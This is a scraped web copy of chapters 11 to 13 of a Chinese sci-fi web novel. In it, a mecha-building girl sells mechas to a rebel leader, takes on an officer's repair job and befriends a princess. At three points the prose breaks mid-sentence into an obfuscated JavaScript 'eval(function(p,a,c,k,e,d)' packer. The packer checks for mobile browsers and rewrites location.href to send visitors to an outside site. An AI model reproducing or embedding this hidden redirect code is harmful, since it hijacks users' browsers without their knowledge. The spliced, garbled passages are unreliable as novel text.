没有纪律的队伍吵吵嚷嚷半天,听得旁观者头疼。 直到他们吵累了,噪音渐弱,倚在墙上的少年终于掀开疲惫的眼。 少年的碎发被汗水浸染,带着接连两场硬仗后的狼狈,乖戾的眼神冲淡了这个年纪应有的稚气。 他的左眼是耀眼的金色,右眼则是危险的雾灰,雾灰色的机械眼球随着神经控制灵活转动,唯有使用者本人能感受到细微的不同步。 白况烦躁地捂住右眼,机械眼球给眼部神经带来很大负担,他时不时就得闭目养神,强制让右眼休息。 昨天离开黑市时那么潇洒,还有精力去救人,当时的他怎么也没想到第二天自己会如此狼狈,此时他卸去伪装,精致的脸上挂着淡淡的苍白,布满倦意。 “别吵了。”他说。 主舱安静下来。 年轻女孩歉疚道:“老大,是我的错,没能提前发现它。” 连博雅瞪了刑宽一眼,为她辩解:“探测仪都检测不到怎么能是你的错,帝都星系安全的废弃航线就这么几条,撞见人也很正常。没有出手不代表对我们友好,贸然过去或许会引发冲突,我的建议是绕路,让我们的接应部队换个地方碰头,只是这样八成会被那帮难缠的星盗追上。” “绕路吧。”白况权衡后做了决定,其他人没有异议。 年轻女孩这次万分谨慎,放大店铺的画面,时刻提防对方偷袭。 一晃而过的画面中,白况捕捉到一个眼熟的东西。 他立即喊停,把画面放大放大再放大,直到锁定一个魁梧的银白机器人。 “你们在这等着,我过去一趟。”他盯着熟悉的机器人,改变了主意。 11. 第11章 时嚣端起杯子轻轻吹了吹热气,不急不缓抿了一口,望着一动不动的飞船颇感遗憾。 算了,没人来也好,早收工早休息,喝完水就回去睡觉。 没有抵挡住困意,眯起眼打了个哈欠,再睁眼就瞧见有个黑点由远及近,过了会儿一台受损严重的机甲落到平台上。 时嚣眼睛一亮。 这破烂程度——贵!客! 但她有点累,精神一懈怠浑身都犯懒。 学过的知识没说不可以坐着待客,她干脆偷懒一回。 “欢迎光临小时机械店,有什么能帮到你的吗?” 白况抵达后,仔细端详抱着保温杯老神在在的女孩。 她似乎并不意外他会上门,态度寻常,通缉令上高额悬赏的脸激不起她半点情绪水花。 他又看向门边的银白机器人,它正一丝不苟地擦拭机械大门上的每一条暗纹缝隙。 没有认错,就是昨天废弃仓库里那台战斗型机器人,仅仅过去不到一天,它的腰间多了条粉色波点围裙,手里拿的也不再是武器,而是一块抹布。 刚毅的金属竟然透着贤良淑德的气质。 陡然浮现的想法令白况打了个寒颤,加深了对时嚣的敬畏。 他难以忘记昨天折返回去后看到的场景。 传闻中挨到就骨折碰到就丧命的杀人机器傻子似的被人遛着圈打,不是它不够强,而是对手身法太变态。 旁观完一场黑吃黑,时嚣看似无害的面容给他留下了深刻印象。 时嚣把开场白程序走完,定睛一看,是见过一面的人。 “又见面了。”她说。 白况下意识摸了把脸,脸上没有伪装。 “你怎么认出我的?”疑问脱口而出。 时嚣指了指他的身体:“骨骼。” 然后指尖朝向他的右眼:“零件。” 前者会有相似,后者独一无二。 “你的眼睛很漂亮。” 罕见的金瞳像故作凶狠的猫咪,机械眼珠更不用说,她对一切机械造物抱有天然好感。 白况目光复杂。 兜兜转转傻子竟是他自己。 时嚣想到停在远处的飞船,心想招待好白况说不定能拉到更多客户,有必要适当寒暄,于是措辞道:“没想到这么快就再次见面。” 白况打起十二分警惕。 没想到这么快,也就是说她想到会见面,只是比预计早。 联想到撤退时帝国无缘无故分走的大半兵力,情报说是因为有个关键人物也在港口,而她又更早一步出现在这里。 “港口的人是你?”他合理推测。 时嚣微微颔首,顺带补充:“你们用的助飞装置是我修复的。” 得到肯定的答案,白况完好的左眼颤了颤,无论对方出于什么目的,都帮了他大忙。 一贯张扬的他态度端正起来:“感谢您的帮助。” 如果不是她引开火力,反抗军的伤亡难以估测。 时嚣已经习惯城里人用词夸张,既然对方成了她的顾客,那蹭飞的事情就不用计较了。 “请进吧,里面有你需要的东西。”生意上门,时嚣一鼓作气拖起懒散的身体。 “您不担心有人找麻烦?”白况问。 反抗军缺钱缺装备不是秘密,但她竟然愿意给他们提供军/火?不怕帝国和联邦追究吗? 时嚣淡淡地瞥他一眼,白况从中品味出了不屑,不知道她是对这个问题嗤之以鼻,还是……觉得帝国联邦不值一提。 时嚣没正面回答,他也反应过来问了个蠢问题,她都能在帝都星出入自如了,怎么可能在意他们的态度。 时嚣不屑,她查过了,只要不进入帝都星区域摆摊就不犯法,城管没理由找她麻烦,大不了跑远点,多换几条航线,反正附近人流量不大但始终有客人上门,是个不错的驻扎地。 她是一个思维灵活,遵守规则的好商人。 白况脑子一抽,问道:“您要不要加入反抗军?” 收购?吞并?反抗军是个大品牌吗? 时嚣选择单干,不过很高兴有人认可她的技术潜力,因此虽然拒绝了他的邀请,但语气非常友好:“我喜欢开店,这是我一直以来的梦想。” 意料之中的回答,白况想,果然强大到一定程度的人物不再追求世俗的利益名誉,随心而行是她唯一的行为准则。 他没有感到失望,只是内心的波澜久久无法平息。 在黑市陪骗子演戏,把杀人机器改造成保姆,又轻松甩开帝国围追。 她甚至连人性都完全把握,知道他一定会跟上去见义勇为,还算好他们的撤退路线,提早安排杀人机器吸引注意,一切都在她的算计之中。 让杀人机器打扫卫生,多么恶趣味。 刚巧热爱家务闲不下来的小二擦完大门,想要寻找下一个目标来释放无处安放的清洁欲,扫视一圈最终和外来客人看对了眼。 卫衣破破烂烂,邋遢! 沾满尘土污渍,肮脏! 血迹凝结成块,污秽! 拿着抹布的手蠢蠢欲动。 它的视线太过灼热,白况如芒在背。 “小二,对客人要礼貌。” 时嚣轻飘飘喊了一声,小二只好遗憾地移开视线,重新寻找目标。 她转而对白况介绍起店里的产品。 白况提着的心放下,跟随她走进机械店,扫过货架上的零散零件后若有所感地抬头,目光瞬间凝固。 三座钢铁巨人静静伫立,头颅低垂,熄灭的双眸宛若吞噬一切的深渊,威严地审判着到访者。 战场上出生入死的机甲师只一眼便看出,这三台机甲绝不简单。 无形的力量牵引他走向中间那台黑金机甲。 他伸手触碰,一股强烈的震颤从指间蔓延全身,触电的感觉贯穿他的灵魂。 时嚣高兴,遇上识货的客人了。 开宰! 她果断伸出右手,五指往前一送:“五十,现金还是刷卡。” “五、五十?”白况还没从灵魂共鸣的状态中脱离,脑子一片空白,听到数字有点懵。 五十亿?对于这个品质的机甲来说也太便宜了! 时嚣表情一垮:“怎么,你对我的定价有意见?” “当然没有。”白况条件反射递出黑卡,“刷卡。” 戈岩洲教过黑卡的使用方式,时嚣熟练地从他账上划走五十星币。 白况浑浑噩噩,全程旁观她的动作,反复确认是五十星币而不是五十亿星币。 他不敢提出质疑,只等时嚣查看完余额满意地笑了,确认她要的真的只是五十星币后才恢复镇定。 她不为财,不提条件,只随心所欲地玩着真人版经营游戏。 这是一个纵览全局、游戏人间的大师。 如果他没有因为善心发作回头,就不会见到她制服诈骗团伙的场景,也不会看见那台战斗型机器人,差一点,他就错过了大师给的机会。 白况想明白了其中关窍,眉头依然无法舒展,犹豫再三后咬咬牙把一块碧绿晶石递了出去。 他没有打破这场“经营游戏”的平衡,而是说:“我想代表反抗军和您达成长期合作,这是我的诚意。” 这正是反抗军此次冒险潜入帝都星的主要目的。 碧绿晶石是一支佣兵团从混沌星系带出的宝贝,传闻晶石由多个虫族王虫重重守护,为了抢夺它佣兵团付出了惨烈的代价。 佣兵团仅有的技术手段只能做出初步鉴定,未知晶石蕴藏着某种庞大且尚未开发的神秘能量,这种能量特性与机甲的能量核心有潜在的适配性,若能成功应用,或许能给机甲带来飞跃性突破。 然而来不及找人做更深层次的检测,得到消息的各方势力便开始层层施压,已然伤筋动骨的佣兵团无奈将其送往黑市拍卖行公开寄拍。 消息同样传到反抗军耳中,白况自然不会放弃未知晶石的归属权,在得知晶石的来历及其可能对抗虫族的价值后,他没有丝毫犹豫,第一时间来到帝都星黑市,遮掩身份拿下晶石。 白况有自己的考量,这一笔交易他绝对不亏。 反抗军忙于战场,科研能力不足,或许晶石交到专业的人手上能发挥更大作用,而且他拿不出更好的能够打动时嚣的东西,只能猜测不慕利益的人更在乎探索未知,一块珍贵但用途未知的特殊晶石换来反抗军长期稳定的装备供源,太值了。 时嚣把玩着碧绿晶石,确定这是一块她没见过的能源。 有了新的实验能源,她笑容更加灿烂:“我喜欢这个,那就合作愉快,对了,要来一杯青草汁吗?”既然楚归澜喜欢喝,那么同为人类的新客人应该也会感 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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灭不完的虫子说明大师一定来自混沌星系,难怪年纪轻轻如此强大,能从那里杀出来的都是狠角色。其次家园被虫族占领,她帮助反抗军也就不奇怪了,众所周知帝国联邦忙着内斗不敢完全投入镇压虫族,而他们反抗军则为抵抗虫族而建立。 但是帝国联邦到底是抵抗虫族的中坚力量,他不由得问:“那您也会售卖机甲给其他人吗?” 时嚣诧异:“为什么不呢?我只是个开店的。” 白况脑袋耷拉,意识到自己孩子气了,随即道歉。 或许是因为大师过于包容,给了他无知的底气。 “没关系,顾客是上帝嘛。”时嚣开玩笑地回道。 她倒没有感到冒犯,白况很有眼光,之前就提出过收购,是真心欣赏她的机甲技术,有垄断的想法很正常。 得到认可她很开心,返回工作室找了个小礼物送给他。 白况受宠若惊,打开盒子后呼吸一滞。 他捧着盒子的手微微颤抖,喉咙口被蔓延的情绪堵住。 ——那是一颗银色的机械眼珠。 “它和你很配。”时嚣对比他的瞳色,非常满意。 机械眼珠是小智的备用零件,仿生效果更好但小智不喜欢,它选用了方便表达情绪的赤瞳。 好歹是精心制作的机械产物,放在仓库里积灰怪可惜,白况是个不错的归宿。 少年人冲动,有疑问就非要得到个答案:“不需要我付出什么吗?” “我说过,我喜欢你的眼睛,很漂亮。”时嚣耸肩。 白况沉默,失去的右眼是他永远的痛,却给他带来了大师的友谊。 他深吸一口气,浓密的眼睫遮住汹涌的雄心:“我会带着这份感激走下去,希望有一天能得到您的认可。” “那我期待那一天。”时嚣绽放和煦的微笑。 白况还有自己的责任,和时嚣交换过联系方式后回到了飞船上。 焦急的下属们一拥而上,看到老大换新的机甲内心疑惑,但情急之下不容犹豫,率先说出星盗增派援手追上来的事。 “老大,怎么办?” 众人期期艾艾地看向主心骨。 白况蹙眉,不等下达命令,两道不同频的声音先后响起。 【预计二十二秒后将遭遇导弹袭击,是否开启“弹道预演”并进行反击轰炸】 “不好!星盗架了炮台!” 白况一凛,来不及去想“弹道预演”是什么,下意识遵循第一道来自机甲控制台的机械音。 他选择了【是】。 * 时嚣遥遥目送打完碾压局完成撤离的反抗军队伍,打了个哈欠慢悠悠转身。 今天也是顺利营业的一天呢。 12. 第12章 裹挟热气的风掠过第一军团军事基地厚重的防御墙,时嚣一身运动服站在防御墙下,与周围环境格格不入,压低的棒球帽下显露出精巧的下巴。 这是她精心挑选的衣服,方便应对坑蒙拐骗打家劫舍绑架轰炸等一系列可能遇上的日常节目。 帽子则是临出门前拿的,本来她没有头上戴东西的习惯,但游元起提了一嘴奖金金额。 足足一千星币! 难怪城里人体格弱小,治安却还算不错,原来是重金之下必有勇夫。 听到巨款后她笑得停不下来,顺手拿了顶帽子遮住大半张脸。 现在面部零件可算降温了,她拿掉帽子拢了拢在星轨上吹乱的头发,站在闸口好奇张望。 她通过游元起给的虚拟权限过了好几道闸口进到这里,接下来得他本人陪同才能进入。 到早了无所事事,时嚣干脆屈指敲击防御墙听声鉴别,又贴近嗅了嗅。 她路上习惯性观察过,城管单位的防御系统做得挺好,防护区域内连地面都是能抵挡核爆的特殊材质,不愧是公职单位。 不出所料,越靠近中央防御越到位。 “防护最外层镀的是焰晶,焰晶形成周期很长,比较难得。最里面的金属没见过欸,这个气味……原料是虫壳?好天才的创意,虫壳最难砍了。夹层混了星陨石、玻矿,还有一层隔音的材料……真有意思,等有空复刻一个试试,星陨石换成陨纹矿硬度会更高,不过陨纹矿有点稀少,让我想想还有什么可替代的矿石。” 她脑海里自动形成三维解析图,精密到极致的防御阵列莫名让她想起游元起一丝不苟扣到喉结的衬衫纽扣。 在第一军团最保险的防御墙即将被破解之际,一辆严密押送的悬浮车停在了闸口外,吸引了时嚣的注意力。 巨大的车厢打开,一台严重损毁的银白色机甲熠熠生辉,金属折射出斑斓的光谱,光泽随角度的变化而流转,仿佛阳光下流动的彩虹,就连过往战斗留下的惨烈痕迹也无法让它减色。 时嚣盯着堪称工艺品的机甲几乎挪不开眼,指尖无意识地在虚空勾勒设计图,试图还原它最完美的模样。 从前她只想堆砌性能,没在乎过机械外观,因此无论是机甲还是小智都和她一样散发着乡下人的质朴,她从没想过有朝一日一台机甲能让她产生惊艳的情绪。 原来外观能做这么大文章,她头一回开阔了审美思路。 “已为您下单《暴力美学》《机甲设计指南》《机甲外观的设计与创新》。”主脑复制体勤恳工作。 “送去港口,跟小二买的菜放一块。”时嚣兴致勃勃,“等我进修一下,一定会设计出比它更漂亮的机甲!” 游元起来到约定地点时,看到的就是阳光下笑靥如花的少女,青春明媚的气息能感染周围的一切,让见到的人也不自觉心情开朗。 时嚣跟着放行的悬浮车往旁边迈了两步,蓦然撞进一片黑色里,冰雪般冷冽的气息混着金属的味道扑面而来,那是需要长时间与各种机械设备接触才会保留的独特气味。 她稳住脚步,扭过头看见黑色军靴踏碎了她脚下的光影,笔挺的制服衣摆小幅度晃动,露出腰间暗银的枪套,银色绶带从腰际延伸到肩章处,再往上是弧度硬朗的下颚线。 游元起扶住帽檐,军帽阴影切割出泾渭分明的明暗交界线,与上次见面不一样的是这次他穿上了整齐肃穆的军装,碎发全部梳上去,露出完整的五官,清贵的模样带上了锐利的攻击性。 时嚣直勾勾望着他,她喜欢锋利的五官,冰冷的质感会让她联想到比例完美的机械。 “久等了。”完美的机械说话了。 时嚣这才反应过来撞到的是谁。 现在是8:55,距离约定好的九点整还有五分钟,按照城管上次表现出对守时的坚持,她以为他准点才会到。 “没有等很久。”她和他对视,“早上好,城管先生,今天是你给我颁奖吗?” 游元起点头。 时嚣笑了起来:“那太好了。”她在这里只认识他。 游元起微不可察地扬了下唇角:“我带你去过安检,科技设备和危险物品都需要储存。” 时嚣爽快应允,她今天没带武器,存放个光脑就行。 她跟在游元起身后,他的步伐很稳,每一步都像是丈量过一样精准,在地面敲出冷硬的节奏,军靴锃亮的皮面上有制冷剂干涸凝固的痕迹,应该刚接触过机械。 时嚣思维发散,直到进入一间装备各种器械的封闭审查室后才收束。 她被安排了七道检查,前六道很快通过,最后要穿过一台前后通透的门形机器时,红色射线上下扫描,空气中飘浮的粒子在她的手环上聚集了不到半秒又散开,三秒后象征检查通过的绿灯亮起。 时嚣习惯了手环的存在,一时忘记这也是个武器,看到手环通过安检,她疑惑了一瞬,很快想到解释。 城管每天出外勤,办公室不算特别机密的地方,安检系统草率一点很正常,基地里肯定还有更核心的地方,只是她接触不到。 时嚣说服了自己,默默跟随游元起穿过重重验证进入第一军团核心区域,沿途军官绷直脊背行礼,她留意到他们藏在标准军礼下的细微闪躲。 她偏头去瞧游元起,貌美好心体格也不错,他们在惧怕什么? 只可能是职位了。 遍地的破绽里,基于先入为主的身份认知,时嚣没有丝毫怀疑,默默加深了对“城管”的敬畏。 当第四名军官因为看到游元起而拿不稳档案袋时,游元起打破了沉默:“他们都被我抓到过违纪行为。” 很刻意地解释了自己过分的威慑力。 一个敢说一个敢听,时嚣露出明悟的神情,代入了自己:“毕竟你的职业是城管嘛,大家怕你很正常。” 游元起悄悄放松。 很好,没有露出破绽。 他正视时嚣:“你不用怕我。” “我当然不怕,我没有违规违纪,真的。”时嚣语气里满是欲盖弥彰的急促。 游元起注视她的侧颜良久,忽然说:“你在黑市抓捕到的团伙成员,已经被判去混沌星系抵御虫族了。” “好哦,我知道了……呃。”时嚣突然沉默,半晌后眨巴眨巴眼,“什么黑市?我不知道耶,我只是路过十九区而已,他们在十九区搞诈骗,逮着我这种穷人薅,简直罪无可恕!” “嗯,罪无可恕。”游元起望着她的眼睛,重复了她的话。 时嚣忍不住又眨了几下,努力让自己看上去更加无害。 两人默契不提。 最后的领奖流程比想象中长一些,时嚣以为只需要拿走奖金就好,没想到还有一个简短的颁奖仪式。 当游元起将刻有“优秀公民”的银色勋章别在她领口时,她好奇地低头去看,不小心撞到了他的帽檐,眼前那截冷白脖颈顿时泛起淡红。 游元起目光微微闪动,迅速调整徽章角度,后退到合适的社交距离。 “你接修复机甲的工作吗?”他说回正题。 时嚣一听来活了,顾不得其他直点头:“是你的机甲?” “嗯。”游元起垂眸,浓密睫毛在眼睑投下扇形阴影,让人分辨不出情绪,“我想邀请你做我的固定搭档。” 时嚣不明所以。 游元起道:“我的机甲需要定期维护升级,但是一直没有遇到合适的搭档,直到买到你的机甲零件,我觉得我们会很契合。” “我很乐意。”时嚣果断应下,到手的活她才不会往外推。 “你听说过「白起」么?”游元起冷不丁问道。 时嚣眼底划过茫然:“古传说中的战神?” 游元起移开目光,提出去机甲工作室,成功截断话题转移了她的注意力。 他做好了万全准备,短时间内军方、议会包括外界都不会知道他把机甲交给了谁改造。 在时嚣面前他则会继续隐藏身份。 时嚣从外地来,坚信他只是个普普通通的城管,没有那些世俗的顾忌,再加上从机械零件由小窥大,她是一个有创新意识的创造者,他希望她没有顾虑去改造「白起」。 而他交付信任的对象一进入工作室就如同冒险家发现新大陆,激动到不住惊叹。 时嚣第一次见到如此完备的机甲工作室。 悬浮于中央的球型装配区直径超过百米,表面流淌着幽蓝的数据流,三十台机器人围在环形平台边合力扫描重构完整的机甲立体模型,一旁屏幕上则滚动着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17094456|195599||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读取到的代码库。 而这一切,都服务于吊装于中央的一台银白机甲。 是刚才门口见到的那台。 她停驻在机甲前,伸手触碰数据流屏障,内心澎湃着激动。 没想到机缘巧合下接触到了外界的高端科技,她从前只在蓝蓝的底层数据库里见过这样量化数据流的场景。 “这是定金。”清冽的声音从头顶传来,一张磁卡递到她面前,卡面还带着体温,不知道在手里攥了多久。 “需要任何材料跟我说。” “都用最好的?” “都用最好的。” 被客人的爽快砸得晕晕乎乎,她好半天才想起来问:“我是不是得签保密协议?” 蓝蓝提到过,外面的高端科技都有保密条约。 “不用,不过会对你进行详细的背景调查,你介意么?”机甲改造完成前游元起不打算告知别人,免得时嚣纠缠于繁琐的手续和嘈杂的质疑,但是该走的程序无法省略,他要给时嚣开通自由进入工作室的权限就必须先提交她的背景资料。 时嚣不觉得有什么问题:“不介意,就是我家比较偏,可能有点难查。” “系统会自动检索。” 游元起看时嚣盯着正在复刻的机甲立体模型出神,解释道:“这台机甲经历过多次局部修复,又遭受了重创,对比最初的设计图有些细节变化,所以需要重新绘制。” 时嚣拨动模型,指尖停留在机甲因损伤暴露的膝盖接缝处,放大画面:“转动轴第三节点用了仿生神经接驳,会有延迟状况吧。” 游元起眉间微动:“有0.03秒的延迟。” 时嚣奇怪:“打架的时候突然出现延迟反馈不会觉得难受吗?” 游元起忽地一顿:“在能适应的范围内。” 时嚣皱眉:“为什么驾驶者要适应机甲?” 她开始构思修改方式,这个架构并非完全没有可取之处,虽然有细微延迟,但比她目前使用的架构要更加牢固,两者结合一下或许会更好。 “换成记忆合金传导性会好一些,但是这个位置很窄,记忆合金太细容易断裂,怎么更换都有弊端,我想想。”她斟酌,“我能重建关节部位的结构吗?目前来看整体架构很局促,存在延迟反馈问题,但也有优点,比如支撑力很强,总之我想重新设计一遍。” 游元起道:“这台机甲全权交由你负责,你可以在不进行破坏的前提下任意改造。” “那我需要你的过往训练视频和详细数据,只有足够了解我才能为你量身打造最完美的机甲。” 游元起思索后说:“有些东西不方便提供,不过我可以配合你进行模拟练习。” “那更好了。” 时嚣继续检查机甲,定金都进她口袋了,她得让客人看到她的专业度。 游元起深深凝望着她,他没告诉时嚣,被她轻易否定的架构是目前公认最完美的机甲关节结构,在此之前只有一人提出过质疑。 那个人就是他。 因为只有他感受到了那几乎可以忽略的0.03秒延迟反馈,而上一个帮他修理机甲的霍老说机甲不可能做到百分百同步,这种程度的延迟完全可以忽略,普通人不可能在实战中感受到这么细微的停滞。 但他能感受到,一台机甲上存在无数个无法忽视的“0.03秒”,组合在一起让他至今不能酣畅淋漓地战斗。 他一直在适应,一直在迁就,此时却有人告诉他不该是驾驶者来适应机甲。 某种未知的情绪扫过他的神经末梢。 时嚣看时间差不多了,准备去赴下一趟约。 “这附近有一家西餐不错,我请你。”游元起修长的手指无意识内扣,“为了庆祝我们的合作。” “今天约了朋友吃午饭。”时嚣道,“下次吧,下次我试试第一军区的烤红薯。” “好。” “合作愉快,搭档。” “喊我名字就好。” “那我们算朋友了吧?”时嚣想起“增进感情三十式”说适当拉近物理距离有助于感情升温,忽然凑近半步,眼底闪烁雀跃的光彩,“元元?小起?” 指节泛起的青白与耳尖的红晕形成鲜明对比,游元起心跳莫名漏了一拍。 13. 第13章 正午的阳光透过纹路繁复的纱帘,在桌面上投下斑驳光影,空气里弥散着昂贵的熏香。 楚珈玉百无聊赖地撑着下巴,自然卷的金色长发扎成歪马尾,随着频繁的转动轻轻摇晃。 银匙碰触瓷盘发出轻响,她低下头从光可鉴人的银器上看到自己的倒影,发现发间的蝴蝶结有点歪,她抬手整理,不小心蹭到旁边的服务型机器人,慌乱间就见它手上的餐盘上晃动,热咖啡开始倾斜—— 楚珈玉惊慌,她的裙子!这可是她琢磨三天精心挑选的搭配! 监控后的管家猛然站起,那可是滚烫的咖啡! 忽然,一道身影敏捷地绕过机器人,随后险些倾倒的咖啡被安然无恙放在桌上。 她仿佛不经意般朝隐匿的摄像头扫了一眼,让管家生生咽下冲到嘴边的尖叫。 “中午好,珈玉。” 时嚣落座,正对上楚珈玉水汪汪的蓝眼睛。 猫猫比上次见面更漂亮,浅金色长发打理齐整,在阳光下泛着绸缎般的光泽,让她想起童话故事中的公主,这种美丽令人忍不住想要呵护。 美丽的公主惊喜:“小嚣你来啦!” “你真好看。”楚珈玉看着她眸光微动,“那天我太害怕,都没仔细看过你。” 时嚣知道自己好看,身为机械种族长得漂亮不奇怪,她的哥哥更完美,那才是挑不出瑕疵的脸。 她遵从内心想法说:“你也好看,而且很勇敢。” 两个不擅长交流的女孩小学生似的互夸。 “那天谢谢你,我家人本来也想向你道谢的,但是这几天忙着处理绑架的事,没能顾得上。”楚珈玉歉疚道。 时嚣不在乎道:“你是我来到帝都星以后第一个确认的朋友,朋友之间不用说谢谢。” 楚珈玉感动不已,迫不及待分享她的决定:“我提交了转专业申请,马上开学以后就要进入帝国大学机甲系学习了。” 时嚣来了兴致:“是学习制造机甲吗?” 楚珈玉不好意思地垂下头:“机械师和数据师大多从小开始接受培养,我跟不上进度,所以选择了机甲战斗专业。” 她绞着裙摆不自在道:“我家人都说我被吓坏了,虽然允许我转专业,但是他们认为我只是一时兴起,妈妈要求我继续辅修艺术系,怕我没办法从机甲系毕业。你会不会也觉得我异想天开?” 她问完才有勇气重新抬头,却发现时嚣正在摆弄光脑。 在她懵然的注视下,时嚣点开一张照片倾身举到她眼前: “我还有两台库存,你喜欢哪一台?啧,颜色都有点单调,你值得更好看的。我正好打算学习机甲审美,先改一下涂装再送你吧,你喜欢什么颜色?红色?粉色?金色?你裙子上这三个颜色比较多,也很衬你。” “我、我都可以!”楚珈玉在她靠近后不自觉屏住呼吸。 “我想想。”时嚣放大图片,涉及机械领域时她总是格外认真,“这一台吧,轻捷型更适合新手,除开涂装还需要根据你的身体素质和战斗习惯做一些调整,以后我陪你一起练习,这样就能掌握你的具体数据了。” “好呀!”楚珈玉脸颊温热,“其实我是看到你叫‘买机甲找我’才产生学习机甲的想法,没想到我的管家也非常赞同,只是我担心自己做不好,过去我从来没有接触过机甲。” “不用担心,我教你。” 时嚣说着将她拉起来,绕着她转一圈,捏捏她的胳膊又牵起她的手。 楚珈玉细声问她在干什么。 摸完骨,时嚣对她的体质有了个大致的了解:“你底子不错,多加训练背住指令然后学会武器的使用方法就行。” “这么简单吗?” “对,开机甲很简单的。” 楚珈玉似懂非懂:“那我以后跟着你学,小嚣你在哪里上学?离帝国大学近吗?” 时嚣打开图片展示她综合考虑后的结果:“我还没有入学,正打算去这所学校报名。” 楚珈玉疑惑:“可是现在是开学季,大学报名几个月前就截止了吧……” 她在看清学校名字后哑然。 “没有啊,我确认过,这所学校三天后报名才截止,星网上口碑很好,入学门槛不高,只要没有传染性疾病、精神类疾病就符合要求,而且距离帝国大学很近。”时嚣自顾自说。 “可是尼普顿大学是老年大学呐。”楚珈玉小声提醒。 尼普顿大学挂名老年大学,实际上是帝都星最顶级的养老院,官网报名信息只是走个形式,没有人会把占据中心区寸金寸土地皮的尼普顿错认为普通学校。 在今天之前没有人。 “欸?不可以吗?”时嚣诧异。 楚珈玉卡壳:“啊,可以!当然可以!只要小嚣想去都可以的!” 公主殿下怎么忍心让好朋友失望:“你送给我机甲,作为回报入学的事交给我吧。” “不。”时嚣纠正,“机甲不是交易,你是我的朋友。” 楚珈玉立马改口:“作为朋友我也想帮你做点什么,你对帝都星不熟悉对吧,我帮你办理入学流程上能省去很多麻烦呢。” 机甲最便宜的都要几十万,昂贵的几十亿也打不住,钱对她来说只是一串数字,可时嚣不一样,她在只有两台机甲的情况下都要送给她一台,是真心把她当成朋友。 区区一所学校而已,哪怕时嚣想当尼普顿校长她都愿意帮忙,她只恨不得对时嚣更好一点。 时嚣欣然接受新朋友的好意,“增进感情三十式”上说过,感情就是要有来有往,双方都有付出才能长久。 午餐结束,楚珈玉开开心心拉着时嚣逛了一下午。 她坐在沙发上,指挥店员拿了一套衣服,朝着时嚣比划。 “试试这件。”她兴致勃勃,“这几个配饰也戴上。” 时嚣依言换上,看着镜子里被精心装扮后的自己十分高兴。 楚珈玉的审美很好,裁剪利落的衣服更加凸显她的身材优势,配饰也恰到好处。 谁都向往美好的事物,时嚣也不例外,在爸爸学会缝纫绣花前她都穿着款式相同的衣服,至今不知道仓库里到底有多少件一模一样的出厂装,逛街购物对她来说是一场前所未有的新奇体验。 “为什么没有价格?”她想买一些带回家,没有找到价格。 “这种地方标价是对客人的侮辱啦。”楚珈玉上前为她整理衣领,解释道。 “那怎么付钱?”时嚣不解。 “不用付钱。”小公主矜贵地微昂下巴,“这一整条街都是我名下的产业。” “哇!”时嚣惊叹。 楚珈玉享受到时嚣崇拜的目光,小小地开心了下。 她平时不会亲自来店里试衣服,这回是因为简单接触后了解到好朋友来自偏远星系,过去生活里几乎只有机械,所以她打定主意要手把手带时嚣体验所有新鲜事物。 时嚣原本打算下午留些时间去新学校报名,现在楚珈玉大手一挥把所有事情包揽了,于是她们高高兴兴玩了一整天,直到傍晚才分开。 岔路口,楚珈玉依依不舍地望着时嚣远去的背影,直到这时,一直暗暗跟随的管家才重新露面。 管家欲言又止,好一会儿才递上一份资料:“殿下,我让人去准备时小姐的入学资料,可是……” “有什么问题吗?”楚珈玉疑惑,按理说她出面应该能够很顺利地办完才对。 管家深吸一口气:“我们查不到她的来历,她只在工商部门留下过一次申请营业执照的记录。” “她才来帝都星,之前没有记录很正常。” “不,我申请了赫拉的搜索权限,不止入境记录,关于时小姐的任何痕迹都找不到,她像凭空出现的一样,并且……”她纠结道,“时小姐试衣服时我注意到她后颈没有身份芯片的植入痕迹,您明白这意味着什么。” 意味着时嚣是个非法闯入、目的不明的黑户! “意味着小嚣从小到大一定吃了很多苦!” 楚珈玉捂住嘴,眼圈红了:“天呐!难怪她什么都不知道,对我的姓氏也没有反应,不敢想象信息爆炸的时代她是怎么在封闭环境里成长到现在的,怪不得她连老年大学都搞不清楚!” 管家:“……” 管家委婉:“殿下,在没有搞清她的目的之前你们不适合有更多接触,我们没有办法确认她是不是故意接近。” 楚珈玉瞪大双眼不敢置信:“怎么能这么说!她只是想上学然后开一家机械店!她有什么错?她甚至主动去办理营业执照!就凭这点她比皇室一半以上的人都要遵纪守法!” 管家迟疑:“我需要向王后请示……” 楚珈玉毫不犹豫打断:“你当然可以向母亲请示,但无论如何你们都没办法限制我,我相信小嚣,相信自己的眼睛,她对我绝对没有恶意,我不是在任性,我的直觉一向很准。” 她神色又柔和下来,半软着语气说:“阿加莎,我明白你是为我的安危着想,但你知道的,因为身份原因从小到大我都没有真心朋友,小嚣她和别人不一样,我相信她,也请你相信我,况且只是让她有个合理的身份进入老年大学而已,如果让星网上的人知道我唯一一次行使特权只为了做这个,他们一定会夸我是贡献最杰出的皇储。” 对上她坚定的双眼,管家到底妥协了:“好吧,但是我会加强人手保护您,您也不能主动向她透露身份。” 她忽然想起来餐厅里时嚣似有若无的一瞥,她不确定那是不是巧合,如果不是巧合,那么时嚣也太敏锐了。 她有些头疼后续该怎么安排。 楚珈玉明白她的让步 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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游元起听着他的抱怨,并没有插话,他清楚楚归澜行事有自己的节奏,只是姿态端久了需要在信任的人面前卸下伪装发泄情绪而已。 